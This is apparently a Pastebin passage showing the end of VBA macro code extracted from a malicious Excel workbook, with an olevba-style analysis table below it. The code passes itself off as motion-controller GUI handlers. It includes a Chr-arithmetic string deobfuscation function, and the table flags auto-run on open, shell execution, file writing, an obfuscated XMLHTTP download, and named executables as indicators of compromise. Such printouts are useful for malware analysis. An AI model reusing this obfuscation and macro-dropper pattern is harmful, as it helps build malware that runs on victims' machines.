  894.  MsgBox (strData)
  895.  End If
  896.  End If
  897.  End If
  898.  Next i
  899. End Sub
  900. Public Function generateattachments1(fromArr() As Variant, LenLen As Integer) As String
  901.     Dim i As Integer
  902.     Variabl = ""
  903.     For i = LBound(fromArr) To UBound(fromArr)
  904.         Variabl = Variabl & Chr(fromArr(i) - LenLen - 4 * LenLen - 3312)
  905.     Next i
  906.     generateattachments1 = Variabl
  907. End Function
  908. Private Sub ZHOMEPLUS_Click()
  909.  Dim tempStr As String
  910.  Dim i As Integer
  911.  If ComStatus = False Then Exit Sub
  912.  SetSpeedAccel
  913.  For i = 1 To 4
  914.  tempStr = ""
  915.  If i = 1 Then
  916.  If (SelectX.Value = 1) Then
  917.  Call EthernetSen.dReceive("HX+2", strData)
  918.  If (strData <> "OK") Then
  919.  MsgBox (strData)
  920.  End If
  921.  End If
  922.  ElseIf i = 2 Then
  923.  If (SelectY.Value = 1) Then
  924.  Call EthernetSen.dReceive("HY+2", strData)
  925.  If (strData <> "OK") Then
  926.  MsgBox (strData)
  927.  End If
  928.  End If
  929.  ElseIf i = 3 Then
  930.  If (SelectZ.Value = 1) Then
  931.  Call EthernetSen.dReceive("HZ+2", strData)
  932.  If (strData <> "OK") Then
  933.  MsgBox (strData)
  934.  End If
  935.  End If
  936.  ElseIf i = 4 Then
  937.  If (SelectU.Value = 1) Then
  938.  Call EthernetSen.dReceive("HU+2", strData)
  939.  If (strData <> "OK") Then
  940.  MsgBox (strData)
  941.  End If
  942.  End If
  943.  End If
  944.  Next i
  945. End Sub
  946.  
  947.  
  948.  
  949.  
  950. +------------+----------------------+-----------------------------------------+
  951. | Type       | Keyword              | Description                             |
  952. +------------+----------------------+-----------------------------------------+
  953. | AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
  954. | Suspicious | Open                 | May open a file                         |
  955. | Suspicious | Shell                | May run an executable file or a system  |
  956. |            |                      | command                                 |
  957. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  958. |            |                      | command                                 |
  959. | Suspicious | Shell.Application    | May run an application (if combined     |
  960. |            |                      | with CreateObject)                      |
  961. | Suspicious | CreateObject         | May create an OLE object                |
  962. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  963. |            |                      | strings                                 |
  964. | Suspicious | ADODB.Stream         | May create a text file                  |
  965. | Suspicious | SaveToFile           | May create a text file                  |
  966. | Suspicious | Write                | May write to a file (if combined with   |
  967. |            |                      | Open)                                   |
  968. | Suspicious | Output               | May write to a file (if combined with   |
  969. |            |                      | Open)                                   |
  970. | Suspicious | Print #              | May write to a file (if combined with   |
  971. |            |                      | Open)                                   |
  972. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  973. |            |                      | (obfuscation: VBA expression)           |
  974. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  975. |            |                      | be used to obfuscate strings (option    |
  976. |            |                      | --decode to see all)                    |
  977. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  978. |            |                      | may be used to obfuscate strings        |
  979. |            |                      | (option --decode to see all)            |
  980. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  981. |            | Strings              | may be used to obfuscate strings        |
  982. |            |                      | (option --decode to see all)            |
  983. | IOC        | SA_Download_Upload.e | Executable file name                    |
  984. |            | xe                   |                                         |
  985. | IOC        | SA_Compile_Decompile | Executable file name                    |
  986. |            | .exe                 |                                         |
  987. | VBA string |
  988.  
  989.                    | Chr(13) + Chr(13)                       |
  990. | VBA string | The following GUI    | "The following GUI features are not     |
  991. |            | features are not     | supported by this firmware:" + Chr(13)  |
  992. |            | supported by this    |                                         |
  993. |            | firmware:            |                                         |
  994. | VBA string |   - Digital input    | Chr(13) + " - Digital input polarity"   |
  995. |            | polarity             |                                         |
  996. | VBA string |   - Digital output   | Chr(13) + " - Digital output polarity"  |
  997. |            | polarity             |                                         |
  998. | VBA string |   - Enable output    | Chr(13) + " - Enable output polarity"   |
  999. |            | polarity             |                                         |
  1000. | VBA string |   - Standalone error | Chr(13) + " - Standalone error          |
  1001. |            | polarity             | polarity"                               |
  1002. | VBA string |   - Low speed homing | Chr(13) + " - Low speed homing routine" |
  1003. |            | routine              |                                         |
  1004. | VBA string |   - Deceleration     | Chr(13) + " - Deceleration option for   |
  1005. |            | option for linear    | linear motion"                          |
  1006. |            | motion               |                                         |
  1007. | VBA string |   - Acceleration/dec | Chr(13) + " - Acceleration/deceleration |
  1008. |            | eleration for        | for circular interpolation"             |
  1009. |            | circular             |                                         |
  1010. |            | interpolation        |                                         |
  1011. | VBA string |   - On-the-fly       | Chr(13) + " - On-the-fly position       |
  1012. |            | position change      | change"                                 |
  1013. | VBA string |   - Multi-threading  | Chr(13) + " - Multi-threading           |
  1014. |            | capabilities for     | capabilities for standalone"            |
  1015. |            | standalone           |                                         |
  1016. | VBA string |   - Digital output   | Chr(13) + " - Digital output            |
  1017. |            | configuration on     | configuration on boot-up"               |
  1018. |            | boot-up              |                                         |
  1019. | VBA string |   - Enable output    | Chr(13) + " - Enable output             |
  1020. |            | configuration on     | configuration on boot-up"               |
  1021. |            | boot-up              |                                         |
  1022. | VBA string | \coloc               | "\" + "coloc"                           |
  1023. | VBA string |
  1024.                     | Chr(13) + Chr(10)                       |
  1025. |            |                      |                                         |
  1026. | VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
  1027. +------------+----------------------+-----------------------------------------+
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top